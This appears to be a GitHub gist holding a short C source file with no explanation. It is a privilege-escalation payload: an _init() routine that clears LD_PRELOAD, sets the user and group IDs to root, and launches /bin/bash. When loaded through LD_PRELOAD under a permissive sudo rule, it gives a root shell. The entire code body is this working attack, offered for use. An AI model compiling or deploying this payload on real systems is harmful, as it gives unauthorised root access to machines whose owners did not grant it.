Created
March 25, 2019 21:36
-
-
Save int0x33/0d47ee45e0573041b831083d9fe7089b to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <sys/types.h> | |
#include <stdlib.h> | |
void _init() { | |
unsetenv("LD_PRELOAD"); | |
setgid(0); | |
setuid(0); | |
system("/bin/bash"); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment